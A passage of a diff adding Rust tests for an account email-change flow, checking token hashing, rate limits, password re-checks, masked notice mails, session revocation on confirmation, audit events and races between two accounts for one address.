| 1641 | + async fn queued_count(db: &DatabaseConnection, to_email: &str, email_type: &str) -> u64 { | |
| 1642 | + email_queue::Entity::find() | |
| 1643 | + .filter(email_queue::Column::ToEmail.eq(to_email)) | |
| 1644 | + .filter(email_queue::Column::EmailType.eq(email_type)) | |
| 1645 | + .count(db) | |
| 1646 | + .await | |
| 1647 | + .expect("count email_queue") | |
| 1648 | + } | |
| 1649 | + | |
| 1650 | + /// Pull the token back out of a queued body — the tests follow the same | |
| 1651 | + /// path as the human: read the mail, take the link. | |
| 1652 | + fn token_in(body: &str, kind: &str) -> String { | |
| 1653 | + let marker = format!("{TEST_BASE_URL}/api/v1/auth/email-change/{kind}/"); | |
| 1654 | + let start = body | |
| 1655 | + .find(&marker) | |
| 1656 | + .unwrap_or_else(|| panic!("no {kind} link in body: {body}")) | |
| 1657 | + + marker.len(); | |
| 1658 | + body[start..] | |
| 1659 | + .chars() | |
| 1660 | + .take_while(|c| c.is_ascii_alphanumeric() || *c == '-') | |
| 1661 | + .collect() | |
| 1662 | + } | |
| 1663 | + | |
| 1664 | + async fn confirmation_token(db: &DatabaseConnection, candidate: &str) -> String { | |
| 1665 | + let mail = last_queued(db, candidate, "email_change_validation") | |
| 1666 | + .await | |
| 1667 | + .expect("validation mail queued"); | |
| 1668 | + token_in(&mail.body_text, "confirm") | |
| 1669 | + } | |
| 1670 | + | |
| 1671 | + async fn report_token(db: &DatabaseConnection, current: &str) -> String { | |
| 1672 | + let mail = last_queued(db, current, "email_change_notice") | |
| 1673 | + .await | |
| 1674 | + .expect("notice mail queued"); | |
| 1675 | + token_in(&mail.body_text, "report") | |
| 1676 | + } | |
| 1677 | + | |
| 1678 | + async fn pending_rows( | |
| 1679 | + db: &DatabaseConnection, | |
| 1680 | + user_id: Uuid, | |
| 1681 | + ) -> Vec<pending_email_change::Model> { | |
| 1682 | + pending_email_change::Entity::find() | |
| 1683 | + .filter(pending_email_change::Column::UserId.eq(user_id)) | |
| 1684 | + .order_by_asc(pending_email_change::Column::CreatedAt) | |
| 1685 | + .all(db) | |
| 1686 | + .await | |
| 1687 | + .expect("query pending_email_changes") | |
| 1688 | + } | |
| 1689 | + | |
| 1690 | + async fn audit_rows( | |
| 1691 | + db: &DatabaseConnection, | |
| 1692 | + user_id: Uuid, | |
| 1693 | + action: &str, | |
| 1694 | + ) -> Vec<audit_log::Model> { | |
| 1695 | + audit_log::Entity::find() | |
| 1696 | + .filter( | |
| 1697 | + Condition::any() | |
| 1698 | + .add(audit_log::Column::UserId.eq(user_id)) | |
| 1699 | + .add(audit_log::Column::TargetUserId.eq(user_id)), | |
| 1700 | + ) | |
| 1701 | + .filter(audit_log::Column::Action.eq(action)) | |
| 1702 | + .all(db) | |
| 1703 | + .await | |
| 1704 | + .expect("query audit_logs") | |
| 1705 | + } | |
| 1706 | + | |
| 1707 | + async fn reload(db: &DatabaseConnection, user_id: Uuid) -> user::Model { | |
| 1708 | + UserService::get_user_by_id(db, user_id) | |
| 1709 | + .await | |
| 1710 | + .expect("reload user") | |
| 1711 | + .expect("user still exists") | |
| 1712 | + } | |
| 1713 | + | |
| 1714 | + /// Give `user_id` the `admin` role. Returns `false` when the RBAC seed is | |
| 1715 | + /// absent, so the admin tests skip instead of failing on a bare schema. | |
| 1716 | + async fn promote_to_admin(db: &DatabaseConnection, user_id: Uuid) -> bool { | |
| 1717 | + match RoleService::get_role_by_name(db, "admin").await { | |
| 1718 | + Ok(Some(role)) => { | |
| 1719 | + UserService::assign_role_to_user(db, user_id, role.id) | |
| 1720 | + .await | |
| 1721 | + .expect("assign admin role"); | |
| 1722 | + true | |
| 1723 | + } | |
| 1724 | + _ => false, | |
| 1725 | + } | |
| 1726 | + } | |
| 1727 | + | |
| 1728 | + /// Force a pending row into the past without going through the service. | |
| 1729 | + async fn expire(db: &DatabaseConnection, row: pending_email_change::Model) { | |
| 1730 | + let mut active: pending_email_change::ActiveModel = row.into(); | |
| 1731 | + active.expires_at = Set(Utc::now() - Duration::hours(1)); | |
| 1732 | + active.update(db).await.expect("expire row"); | |
| 1733 | + } | |
| 1734 | + | |
| 1735 | + // ── Unit: token hashing ───────────────────────────────────────────────── | |
| 1736 | + | |
| 1737 | + #[test] | |
| 1738 | + fn hash_token_is_deterministic_lowercase_sha256_hex() { | |
| 1739 | + let hash = EmailChangeService::hash_token("abc"); | |
| 1740 | + assert_eq!(hash.len(), 64, "SHA-256 hex is 64 characters"); | |
| 1741 | + assert!( | |
| 1742 | + hash.chars() | |
| 1743 | + .all(|c| c.is_ascii_hexdigit() && !c.is_ascii_uppercase()), | |
| 1744 | + "hash must be lowercase hex, got {hash}" | |
| 1745 | + ); | |
| 1746 | + assert_eq!( | |
| 1747 | + hash, | |
| 1748 | + EmailChangeService::hash_token("abc"), | |
| 1749 | + "hashing must be deterministic" | |
| 1750 | + ); | |
| 1751 | + } | |
| 1752 | + | |
| 1753 | + #[test] | |
| 1754 | + fn hash_token_differs_for_two_inputs() { | |
| 1755 | + assert_ne!( | |
| 1756 | + EmailChangeService::hash_token("token-a"), | |
| 1757 | + EmailChangeService::hash_token("token-b") | |
| 1758 | + ); | |
| 1759 | + } | |
| 1760 | + | |
| 1761 | + #[test] | |
| 1762 | + fn hash_token_never_returns_the_plain_token() { | |
| 1763 | + let plain = Uuid::new_v4().to_string(); | |
| 1764 | + assert_ne!(EmailChangeService::hash_token(&plain), plain); | |
| 1765 | + } | |
| 1766 | + | |
| 1767 | + // ── Unit: rate limiter wiring ─────────────────────────────────────────── | |
| 1768 | + | |
| 1769 | + #[test] | |
| 1770 | + fn new_with_limiter_uses_injected_instance() { | |
| 1771 | + let limiter = RateLimitService::new(); | |
| 1772 | + let svc = EmailChangeService::new_with_limiter(dummy_email_config(), limiter.clone()); | |
| 1773 | + let key = format!("email_change:{}", Uuid::new_v4()); | |
| 1774 | + for _ in 0..EMAIL_CHANGE_RATE_LIMIT_MAX { | |
| 1775 | + limiter | |
| 1776 | + .check_sliding_window( | |
| 1777 | + &key, | |
| 1778 | + EMAIL_CHANGE_RATE_LIMIT_MAX, | |
| 1779 | + EMAIL_CHANGE_RATE_LIMIT_WINDOW, | |
| 1780 | + ) | |
| 1781 | + .expect("budget not exhausted yet"); | |
| 1782 | + } | |
| 1783 | + assert!( | |
| 1784 | + svc.rate_limiter | |
| 1785 | + .check_sliding_window( | |
| 1786 | + &key, | |
| 1787 | + EMAIL_CHANGE_RATE_LIMIT_MAX, | |
| 1788 | + EMAIL_CHANGE_RATE_LIMIT_WINDOW | |
| 1789 | + ) | |
| 1790 | + .is_err(), | |
| 1791 | + "the service must see the budget consumed through the injected limiter" | |
| 1792 | + ); | |
| 1793 | + } | |
| 1794 | + | |
| 1795 | + #[test] | |
| 1796 | + fn new_shares_the_process_wide_limiter() { | |
| 1797 | + let a = EmailChangeService::new(dummy_email_config()); | |
| 1798 | + let b = EmailChangeService::new(dummy_email_config()); | |
| 1799 | + let key = format!("email_change:{}", Uuid::new_v4()); | |
| 1800 | + for _ in 0..EMAIL_CHANGE_RATE_LIMIT_MAX { | |
| 1801 | + a.rate_limiter | |
| 1802 | + .check_sliding_window( | |
| 1803 | + &key, | |
| 1804 | + EMAIL_CHANGE_RATE_LIMIT_MAX, | |
| 1805 | + EMAIL_CHANGE_RATE_LIMIT_WINDOW, | |
| 1806 | + ) | |
| 1807 | + .expect("budget not exhausted yet"); | |
| 1808 | + } | |
| 1809 | + assert!( | |
| 1810 | + b.rate_limiter | |
| 1811 | + .check_sliding_window( | |
| 1812 | + &key, | |
| 1813 | + EMAIL_CHANGE_RATE_LIMIT_MAX, | |
| 1814 | + EMAIL_CHANGE_RATE_LIMIT_WINDOW | |
| 1815 | + ) | |
| 1816 | + .is_err(), | |
| 1817 | + "two `new()` services must share one process-wide budget" | |
| 1818 | + ); | |
| 1819 | + } | |
| 1820 | + | |
| 1821 | + #[test] | |
| 1822 | + fn email_change_budget_is_distinct_from_verify_and_reset() { | |
| 1823 | + let limiter = RateLimitService::new(); | |
| 1824 | + let id = Uuid::new_v4(); | |
| 1825 | + let window = EMAIL_CHANGE_RATE_LIMIT_WINDOW; | |
| 1826 | + for _ in 0..EMAIL_CHANGE_RATE_LIMIT_MAX { | |
| 1827 | + limiter | |
| 1828 | + .check_sliding_window( | |
| 1829 | + &format!("email_change:{id}"), | |
| 1830 | + EMAIL_CHANGE_RATE_LIMIT_MAX, | |
| 1831 | + window, | |
| 1832 | + ) | |
| 1833 | + .expect("email_change budget"); | |
| 1834 | + } | |
| 1835 | + // Same subject, other prefixes: untouched. A user who exhausted their | |
| 1836 | + // change budget must still be able to reset their password. | |
| 1837 | + assert!( | |
| 1838 | + limiter | |
| 1839 | + .check_sliding_window( | |
| 1840 | + &format!("email_verify:{id}"), | |
| 1841 | + EMAIL_CHANGE_RATE_LIMIT_MAX, | |
| 1842 | + window | |
| 1843 | + ) | |
| 1844 | + .is_ok(), | |
| 1845 | + "email_verify budget must not share the email_change key" | |
| 1846 | + ); | |
| 1847 | + assert!( | |
| 1848 | + limiter | |
| 1849 | + .check_sliding_window( | |
| 1850 | + &format!("pwd_reset:{id}"), | |
| 1851 | + EMAIL_CHANGE_RATE_LIMIT_MAX, | |
| 1852 | + window | |
| 1853 | + ) | |
| 1854 | + .is_ok(), | |
| 1855 | + "pwd_reset budget must not share the email_change key" | |
| 1856 | + ); | |
| 1857 | + } | |
| 1858 | + | |
| 1859 | + /// Count the sessions still usable by `user_id`. | |
| 1860 | + async fn live_sessions(db: &DatabaseConnection, user_id: Uuid) -> u64 { | |
| 1861 | + refresh_token::Entity::find() | |
| 1862 | + .filter(refresh_token::Column::UserId.eq(user_id)) | |
| 1863 | + .filter(refresh_token::Column::Revoked.eq(false)) | |
| 1864 | + .count(db) | |
| 1865 | + .await | |
| 1866 | + .expect("count refresh tokens") | |
| 1867 | + } | |
| 1868 | + | |
| 1869 | + // ── request_change ────────────────────────────────────────────────────── | |
| 1870 | + | |
| 1871 | + /// RFC 0041 test 1 — the whole point of the RFC: a request changes nothing | |
| 1872 | + /// on the account. | |
| 1873 | + #[tokio::test] | |
| 1874 | + async fn request_change_writes_a_pending_row_and_leaves_the_account_untouched() { | |
| 1875 | + let db = test_db().await; | |
| 1876 | + let user = verified_user(&db).await; | |
| 1877 | + let candidate = fresh_email(); | |
| 1878 | + | |
| 1879 | + service() | |
| 1880 | + .request_change(&db, user.id, &candidate, PASSWORD) | |
| 1881 | + .await | |
| 1882 | + .expect("request must succeed"); | |
| 1883 | + | |
| 1884 | + let rows = pending_rows(&db, user.id).await; | |
| 1885 | + assert_eq!(rows.len(), 1, "exactly one pending row"); | |
| 1886 | + assert_eq!(rows[0].new_email, candidate); | |
| 1887 | + assert!(rows[0].used_at.is_none(), "a fresh request is not consumed"); | |
| 1888 | + assert!(rows[0].reported_at.is_none()); | |
| 1889 | + assert!(rows[0].is_pending(), "the row must be usable"); | |
| 1890 | + assert_ne!( | |
| 1891 | + rows[0].token_hash, rows[0].report_token_hash, | |
| 1892 | + "confirming and reporting are two distinct capabilities" | |
| 1893 | + ); | |
| 1894 | + | |
| 1895 | + let reloaded = reload(&db, user.id).await; | |
| 1896 | + assert_eq!( | |
| 1897 | + reloaded.email, user.email, | |
| 1898 | + "users.email must NOT move before confirmation" | |
| 1899 | + ); | |
| 1900 | + assert!( | |
| 1901 | + reloaded.email_verified, | |
| 1902 | + "a pending request must not un-verify the account" | |
| 1903 | + ); | |
| 1904 | + | |
| 1905 | + assert_eq!( | |
| 1906 | + queued_count(&db, &candidate, "email_change_validation").await, | |
| 1907 | + 1, | |
| 1908 | + "one confirmation mail to the candidate address" | |
| 1909 | + ); | |
| 1910 | + assert_eq!( | |
| 1911 | + queued_count(&db, &user.email, "email_change_notice").await, | |
| 1912 | + 1, | |
| 1913 | + "one notice mail to the current address" | |
| 1914 | + ); | |
| 1915 | + } | |
| 1916 | + | |
| 1917 | + /// The notice must never carry the confirmation link, and must not spell | |
| 1918 | + /// out the candidate address: the old mailbox may already be hostile. | |
| 1919 | + #[tokio::test] | |
| 1920 | + async fn the_notice_carries_the_report_link_only_and_masks_the_candidate() { | |
| 1921 | + let db = test_db().await; | |
| 1922 | + let user = verified_user(&db).await; | |
| 1923 | + let candidate = fresh_email(); | |
| 1924 | + | |
| 1925 | + service() | |
| 1926 | + .request_change(&db, user.id, &candidate, PASSWORD) | |
| 1927 | + .await | |
| 1928 | + .expect("request must succeed"); | |
| 1929 | + | |
| 1930 | + let notice = last_queued(&db, &user.email, "email_change_notice") | |
| 1931 | + .await | |
| 1932 | + .expect("notice queued"); | |
| 1933 | + let confirm_token = confirmation_token(&db, &candidate).await; | |
| 1934 | + | |
| 1935 | + for body in [¬ice.body_text, ¬ice.body_html] { | |
| 1936 | + assert!( | |
| 1937 | + !body.contains(&confirm_token), | |
| 1938 | + "the notice must never carry the confirmation token" | |
| 1939 | + ); | |
| 1940 | + assert!( | |
| 1941 | + !body.contains("/email-change/confirm/"), | |
| 1942 | + "the notice must never carry a confirmation link" | |
| 1943 | + ); | |
| 1944 | + assert!( | |
| 1945 | + !body.contains(&candidate), | |
| 1946 | + "the candidate address must be masked in the notice" | |
| 1947 | + ); | |
| 1948 | + assert!( | |
| 1949 | + body.contains("/email-change/report/"), | |
| 1950 | + "the notice must carry the report link" | |
| 1951 | + ); | |
| 1952 | + } | |
| 1953 | + } | |
| 1954 | + | |
| 1955 | + /// RFC 0041 test 3 — a stolen access token alone must not open a change. | |
| 1956 | + #[tokio::test] | |
| 1957 | + async fn request_change_with_a_wrong_password_writes_nothing() { | |
| 1958 | + let db = test_db().await; | |
| 1959 | + let user = verified_user(&db).await; | |
| 1960 | + let candidate = fresh_email(); | |
| 1961 | + | |
| 1962 | + let result = service() | |
| 1963 | + .request_change(&db, user.id, &candidate, "WrongPassword1!") | |
| 1964 | + .await; | |
| 1965 | + | |
| 1966 | + assert!( | |
| 1967 | + matches!(result, Err(AppError::InvalidCredentials)), | |
| 1968 | + "expected InvalidCredentials, got {result:?}" | |
| 1969 | + ); | |
| 1970 | + assert!( | |
| 1971 | + pending_rows(&db, user.id).await.is_empty(), | |
| 1972 | + "no row may exist after a refused request" | |
| 1973 | + ); | |
| 1974 | + assert_eq!( | |
| 1975 | + queued_count(&db, &candidate, "email_change_validation").await, | |
| 1976 | + 0, | |
| 1977 | + "no mail may reach the candidate address" | |
| 1978 | + ); | |
| 1979 | + } | |
| 1980 | + | |
| 1981 | + /// RFC 0041 test 4 — the format is checked before anything is written. | |
| 1982 | + #[tokio::test] | |
| 1983 | + async fn request_change_with_an_invalid_format_writes_nothing() { | |
| 1984 | + let db = test_db().await; | |
| 1985 | + let user = verified_user(&db).await; | |
| 1986 | + | |
| 1987 | + let result = service() | |
| 1988 | + .request_change(&db, user.id, "not-an-email", PASSWORD) | |
| 1989 | + .await; | |
| 1990 | + | |
| 1991 | + assert!( | |
| 1992 | + matches!(result, Err(AppError::Validation(_))), | |
| 1993 | + "expected Validation, got {result:?}" | |
| 1994 | + ); | |
| 1995 | + assert!(pending_rows(&db, user.id).await.is_empty()); | |
| 1996 | + assert_eq!(reload(&db, user.id).await.email, user.email); | |
| 1997 | + } | |
| 1998 | + | |
| 1999 | + /// RFC 0041 test 5 — an address already owned by another account. | |
| 2000 | + #[tokio::test] | |
| 2001 | + async fn request_change_on_a_taken_address_is_refused() { | |
| 2002 | + let db = test_db().await; | |
| 2003 | + let alice = verified_user(&db).await; | |
| 2004 | + let bob = verified_user(&db).await; | |
| 2005 | + | |
| 2006 | + let result = service() | |
| 2007 | + .request_change(&db, alice.id, &bob.email, PASSWORD) | |
| 2008 | + .await; | |
| 2009 | + | |
| 2010 | + assert!( | |
| 2011 | + matches!(result, Err(AppError::Validation(_))), | |
| 2012 | + "expected Validation, got {result:?}" | |
| 2013 | + ); | |
| 2014 | + assert!(pending_rows(&db, alice.id).await.is_empty()); | |
| 2015 | + } | |
| 2016 | + | |
| 2017 | + /// RFC 0041 test 6 — echoing the current address is a refusal here, not a | |
| 2018 | + /// silent no-op: `request_change` expresses an explicit intent, unlike a | |
| 2019 | + /// profile form that resubmits every field. | |
| 2020 | + #[tokio::test] | |
| 2021 | + async fn request_change_on_the_current_address_is_refused() { | |
| 2022 | + let db = test_db().await; | |
| 2023 | + let user = verified_user(&db).await; | |
| 2024 | + | |
| 2025 | + let result = service() | |
| 2026 | + .request_change(&db, user.id, &user.email, PASSWORD) | |
| 2027 | + .await; | |
| 2028 | + | |
| 2029 | + assert!( | |
| 2030 | + matches!(result, Err(AppError::Validation(_))), | |
| 2031 | + "expected Validation, got {result:?}" | |
| 2032 | + ); | |
| 2033 | + assert!(pending_rows(&db, user.id).await.is_empty()); | |
| 2034 | + assert_eq!( | |
| 2035 | + queued_count(&db, &user.email, "email_change_notice").await, | |
| 2036 | + 0, | |
| 2037 | + "a refused request must not mail anybody" | |
| 2038 | + ); | |
| 2039 | + } | |
| 2040 | + | |
| 2041 | + /// RFC 0041 test 7 — the per-user budget bounds "one account spamming | |
| 2042 | + /// third-party mailboxes". | |
| 2043 | + #[tokio::test] | |
| 2044 | + async fn the_fourth_request_within_the_hour_is_rate_limited() { | |
| 2045 | + let db = test_db().await; | |
| 2046 | + let user = verified_user(&db).await; | |
| 2047 | + let svc = service(); | |
| 2048 | + | |
| 2049 | + for i in 1..=EMAIL_CHANGE_RATE_LIMIT_MAX { | |
| 2050 | + svc.request_change(&db, user.id, &fresh_email(), PASSWORD) | |
| 2051 | + .await | |
| 2052 | + .unwrap_or_else(|e| panic!("request {i} must succeed: {e:?}")); | |
| 2053 | + } | |
| 2054 | + | |
| 2055 | + let candidate = fresh_email(); | |
| 2056 | + let result = svc.request_change(&db, user.id, &candidate, PASSWORD).await; | |
| 2057 | + match result { | |
| 2058 | + Err(AppError::TooManyRequests { retry_after_secs }) => assert!( | |
| 2059 | + retry_after_secs > 0, | |
| 2060 | + "a 429 must carry an actionable Retry-After" | |
| 2061 | + ), | |
| 2062 | + other => panic!("expected TooManyRequests, got {other:?}"), | |
| 2063 | + } | |
| 2064 | + assert_eq!( | |
| 2065 | + queued_count(&db, &candidate, "email_change_validation").await, | |
| 2066 | + 0, | |
| 2067 | + "a throttled request must not mail the candidate address" | |
| 2068 | + ); | |
| 2069 | + } | |
| 2070 | + | |
| 2071 | + /// RFC 0041 test 10 — a second request consumes the first: two live links | |
| 2072 | + /// would mean two ways to move the account's identity. | |
| 2073 | + #[tokio::test] | |
| 2074 | + async fn a_new_request_consumes_the_previous_one() { | |
| 2075 | + let db = test_db().await; | |
| 2076 | + let user = verified_user(&db).await; | |
| 2077 | + let svc = service(); | |
| 2078 | + | |
| 2079 | + let first_candidate = fresh_email(); | |
| 2080 | + svc.request_change(&db, user.id, &first_candidate, PASSWORD) | |
| 2081 | + .await | |
| 2082 | + .expect("first request"); | |
| 2083 | + let first_token = confirmation_token(&db, &first_candidate).await; | |
| 2084 | + | |
| 2085 | + let second_candidate = fresh_email(); | |
| 2086 | + svc.request_change(&db, user.id, &second_candidate, PASSWORD) | |
| 2087 | + .await | |
| 2088 | + .expect("second request"); | |
| 2089 | + | |
| 2090 | + assert_eq!( | |
| 2091 | + EmailChangeService::inspect_confirmation_token(&db, &first_token) | |
| 2092 | + .await | |
| 2093 | + .expect("inspect"), | |
| 2094 | + EmailChangeLinkState::Used, | |
| 2095 | + "the superseded link must be dead" | |
| 2096 | + ); | |
| 2097 | + assert!( | |
| 2098 | + svc.confirm_change(&db, &first_token, None).await.is_err(), | |
| 2099 | + "the superseded token must not confirm" | |
| 2100 | + ); | |
| 2101 | + assert_eq!( | |
| 2102 | + reload(&db, user.id).await.email, | |
| 2103 | + user.email, | |
| 2104 | + "a dead token must not move the address" | |
| 2105 | + ); | |
| 2106 | + } | |
| 2107 | + | |
| 2108 | + // ── confirm_change ────────────────────────────────────────────────────── | |
| 2109 | + | |
| 2110 | + /// RFC 0041 test 2 — the happy path, including the session closure the | |
| 2111 | + /// flow promises. | |
| 2112 | + #[tokio::test] | |
| 2113 | + async fn confirm_change_applies_the_address_and_closes_every_session() { | |
| 2114 | + let db = test_db().await; | |
| 2115 | + let user = verified_user(&db).await; | |
| 2116 | + let candidate = fresh_email(); | |
| 2117 | + let svc = service(); | |
| 2118 | + | |
| 2119 | + RefreshTokenService::create_refresh_token(&db, user.id, 30) | |
| 2120 | + .await | |
| 2121 | + .expect("seed a live session"); | |
| 2122 | + | |
| 2123 | + svc.request_change(&db, user.id, &candidate, PASSWORD) | |
| 2124 | + .await | |
| 2125 | + .expect("request"); | |
| 2126 | + let token = confirmation_token(&db, &candidate).await; | |
| 2127 | + | |
| 2128 | + let changed_id = svc | |
| 2129 | + .confirm_change(&db, &token, None) | |
| 2130 | + .await | |
| 2131 | + .expect("confirmation must succeed"); | |
| 2132 | + assert_eq!(changed_id, user.id); | |
| 2133 | + | |
| 2134 | + let reloaded = reload(&db, user.id).await; | |
| 2135 | + assert_eq!( | |
| 2136 | + reloaded.email, candidate, | |
| 2137 | + "the new address is now the account's" | |
| 2138 | + ); | |
| 2139 | + assert!( | |
| 2140 | + reloaded.email_verified, | |
| 2141 | + "clicking the link IS the proof of possession" | |
| 2142 | + ); | |
| 2143 | + assert!(reloaded.email_verified_at.is_some()); | |
| 2144 | + | |
| 2145 | + let rows = pending_rows(&db, user.id).await; | |
| 2146 | + assert_eq!(rows.len(), 1); | |
| 2147 | + assert!(rows[0].used_at.is_some(), "the row must be consumed"); | |
| 2148 | + | |
| 2149 | + assert_eq!( | |
| 2150 | + live_sessions(&db, user.id).await, | |
| 2151 | + 0, | |
| 2152 | + "the login identity moved: every session must re-authenticate" | |
| 2153 | + ); | |
| 2154 | + assert_eq!( | |
| 2155 | + audit_rows(&db, user.id, "email_changed").await.len(), | |
| 2156 | + 1, | |
| 2157 | + "exactly one audit row" | |
| 2158 | + ); | |
| 2159 | + } | |
| 2160 | + | |
| 2161 | + /// RFC 0041 test 8 — the three refusal shapes, each leaving the account | |
| 2162 | + /// untouched. | |
| 2163 | + #[tokio::test] | |
| 2164 | + async fn confirm_change_refuses_unknown_expired_and_used_tokens() { | |
| 2165 | + let db = test_db().await; | |
| 2166 | + let svc = service(); | |
| 2167 | + | |
| 2168 | + // Unknown. | |
| 2169 | + let unknown = Uuid::new_v4().to_string(); | |
| 2170 | + assert!(matches!( | |
| 2171 | + svc.confirm_change(&db, &unknown, None).await, | |
| 2172 | + Err(AppError::Validation(_)) | |
| 2173 | + )); | |
| 2174 | + assert_eq!( | |
| 2175 | + EmailChangeService::inspect_confirmation_token(&db, &unknown) | |
| 2176 | + .await | |
| 2177 | + .expect("inspect"), | |
| 2178 | + EmailChangeLinkState::Unknown | |
| 2179 | + ); | |
| 2180 | + | |
| 2181 | + // Expired. | |
| 2182 | + let expired_user = verified_user(&db).await; | |
| 2183 | + let expired_candidate = fresh_email(); | |
| 2184 | + svc.request_change(&db, expired_user.id, &expired_candidate, PASSWORD) | |
| 2185 | + .await | |
| 2186 | + .expect("request"); | |
| 2187 | + let expired_token = confirmation_token(&db, &expired_candidate).await; | |
| 2188 | + expire(&db, pending_rows(&db, expired_user.id).await.remove(0)).await; | |
| 2189 | + assert!(matches!( | |
| 2190 | + svc.confirm_change(&db, &expired_token, None).await, | |
| 2191 | + Err(AppError::Validation(_)) | |
| 2192 | + )); | |
| 2193 | + assert_eq!( | |
| 2194 | + EmailChangeService::inspect_confirmation_token(&db, &expired_token) | |
| 2195 | + .await | |
| 2196 | + .expect("inspect"), | |
| 2197 | + EmailChangeLinkState::Expired | |
| 2198 | + ); | |
| 2199 | + assert_eq!( | |
| 2200 | + reload(&db, expired_user.id).await.email, | |
| 2201 | + expired_user.email, | |
| 2202 | + "an expired link must not move the address" | |
| 2203 | + ); | |
| 2204 | + | |
| 2205 | + // Already used. | |
| 2206 | + let used_user = verified_user(&db).await; | |
| 2207 | + let used_candidate = fresh_email(); | |
| 2208 | + svc.request_change(&db, used_user.id, &used_candidate, PASSWORD) | |
| 2209 | + .await | |
| 2210 | + .expect("request"); | |
| 2211 | + let used_token = confirmation_token(&db, &used_candidate).await; | |
| 2212 | + svc.confirm_change(&db, &used_token, None) | |
| 2213 | + .await | |
| 2214 | + .expect("first confirmation"); | |
| 2215 | + assert!(matches!( | |
| 2216 | + svc.confirm_change(&db, &used_token, None).await, | |
| 2217 | + Err(AppError::Validation(_)) | |
| 2218 | + )); | |
| 2219 | + assert_eq!( | |
| 2220 | + EmailChangeService::inspect_confirmation_token(&db, &used_token) | |
| 2221 | + .await | |
| 2222 | + .expect("inspect"), | |
| 2223 | + EmailChangeLinkState::Used | |
| 2224 | + ); | |
| 2225 | + assert_eq!( | |
| 2226 | + reload(&db, used_user.id).await.email, | |
| 2227 | + used_candidate, | |
| 2228 | + "replaying a used link must not change the address a second time" | |
| 2229 | + ); | |
| 2230 | + } | |
| 2231 | + | |
| 2232 | + /// RFC 0041 test 9 — two accounts racing for the same address. The loser | |
| 2233 | + /// gets a neutral message and keeps a **reusable** row. | |
| 2234 | + #[tokio::test] | |
| 2235 | + async fn the_loser_of_a_race_keeps_a_reusable_row() { | |
| 2236 | + let db = test_db().await; | |
| 2237 | + let alice = verified_user(&db).await; | |
| 2238 | + let bob = verified_user(&db).await; | |
| 2239 | + let shared = fresh_email(); | |
| 2240 | + let svc = service(); | |
| 2241 | + | |
| 2242 | + svc.request_change(&db, alice.id, &shared, PASSWORD) | |
| 2243 | + .await | |
| 2244 | + .expect("alice requests"); | |
| 2245 | + let alice_token = confirmation_token(&db, &shared).await; | |
| 2246 | + | |
| 2247 | + svc.request_change(&db, bob.id, &shared, PASSWORD) | |
| 2248 | + .await | |
| 2249 | + .expect("bob requests the same address"); | |
| 2250 | + let bob_token = confirmation_token(&db, &shared).await; | |
| 2251 | + assert_ne!(alice_token, bob_token, "two requests, two secrets"); | |
| 2252 | + | |
| 2253 | + svc.confirm_change(&db, &alice_token, None) | |
| 2254 | + .await | |
| 2255 | + .expect("alice confirms first"); | |
| 2256 | + | |
| 2257 | + match svc.confirm_change(&db, &bob_token, None).await { | |
| 2258 | + Err(AppError::Validation(msg)) => assert!( | |
| 2259 | + !msg.contains(&alice.username) && !msg.contains(&alice.email), | |
| 2260 | + "the refusal must not name the winning account: {msg}" | |
| 2261 | + ), | |
| 2262 | + other => panic!("expected Validation, got {other:?}"), | |
| 2263 | + } | |
| 2264 | + assert_eq!( | |
| 2265 | + reload(&db, bob.id).await.email, | |
| 2266 | + bob.email, | |
| 2267 | + "bob keeps his address" | |
| 2268 | + ); | |
| 2269 | + let bob_rows = pending_rows(&db, bob.id).await; | |
| 2270 | + assert_eq!(bob_rows.len(), 1); | |
| 2271 | + assert!( | |
| 2272 | + bob_rows[0].used_at.is_none(), | |
| 2273 | + "losing the race must not burn bob's link: it works again if the address frees up" | |
| 2274 | + ); | |
| 2275 | + } | |
| 2276 | + | |
| 2277 | + /// RFC 0041 test 17 — a password-change link mailed to the previous | |
| 2278 | + /// address must die with that address. | |
| 2279 | + #[tokio::test] | |
| 2280 | + async fn confirm_change_drops_pending_password_change_requests() { | |
| 2281 | + let db = test_db().await; | |
| 2282 | + let user = verified_user(&db).await; | |
| 2283 | + let candidate = fresh_email(); | |
| 2284 | + let password_service = PasswordChangeService::new(); | |
| 2285 | + | |
| 2286 | + password_service | |
| 2287 | + .create_pending_request(&db, user.id, "AnotherPassword1!") | |
| 2288 | + .await | |
| 2289 | + .expect("seed a pending password change"); | |
| 2290 | + assert!( | |
| 2291 | + password_service | |
| 2292 | + .find_pending_by_user_id(&db, user.id) | |
| 2293 | + .await | |
| 2294 | + .expect("lookup") | |
| 2295 | + .is_some(), | |
| 2296 | + "precondition: a pending password change exists" | |
| 2297 | + ); | |
| 2298 | + | |
| 2299 | + let svc = service(); | |
| 2300 | + svc.request_change(&db, user.id, &candidate, PASSWORD) | |
| 2301 | + .await | |
| 2302 | + .expect("request"); | |
| 2303 | + let token = confirmation_token(&db, &candidate).await; | |
| 2304 | + svc.confirm_change(&db, &token, None) | |
| 2305 | + .await | |
| 2306 | + .expect("confirmation"); | |
| 2307 | + | |
| 2308 | + assert!( | |
| 2309 | + password_service | |
| 2310 | + .find_pending_by_user_id(&db, user.id) | |
| 2311 | + .await | |
| 2312 | + .expect("lookup") | |
| 2313 | + .is_none(), | |
| 2314 | + "the pending password change must be gone" | |
| 2315 | + ); | |
| 2316 | + } | |
| 2317 | + | |
| 2318 | + /// RFC 0041 test 16 — hooks dispatched on confirmation, addresses masked. | |
| 2319 | + #[tokio::test] | |
| 2320 | + async fn confirm_change_dispatches_audit_and_email_verified_hooks() { | |
| 2321 | + let db = test_db().await; | |
| 2322 | + let user = verified_user(&db).await; | |
| 2323 | + let candidate = fresh_email(); | |
| 2324 | + let (hooks, audit, verified) = capturing_hooks(); | |
| 2325 | + let svc = service(); | |
| 2326 | + | |
| 2327 | + svc.request_change(&db, user.id, &candidate, PASSWORD) | |
| 2328 | + .await | |
| 2329 | + .expect("request"); | |
| 2330 | + let token = confirmation_token(&db, &candidate).await; | |
| 2331 | + svc.confirm_change(&db, &token, Some(&hooks)) | |
| 2332 | + .await | |
| 2333 | + .expect("confirmation"); | |
| 2334 | + | |
| 2335 | + let events = audit.lock().expect("audit sink").clone(); | |
| 2336 | + let changed = events | |
| 2337 | + .iter() | |
| 2338 | + .find(|event| event.kind == "user.email_changed") | |
| 2339 | + .unwrap_or_else(|| panic!("user.email_changed must be dispatched, got {events:?}")); | |
| 2340 | + assert_eq!( | |
| 2341 | + changed.target, | |
| 2342 | + Some(("user".to_string(), user.id)), | |
| 2343 | + "the event must name the account whose address moved" | |
| 2344 | + ); | |
| 2345 | + let metadata = changed.metadata.to_string(); | |
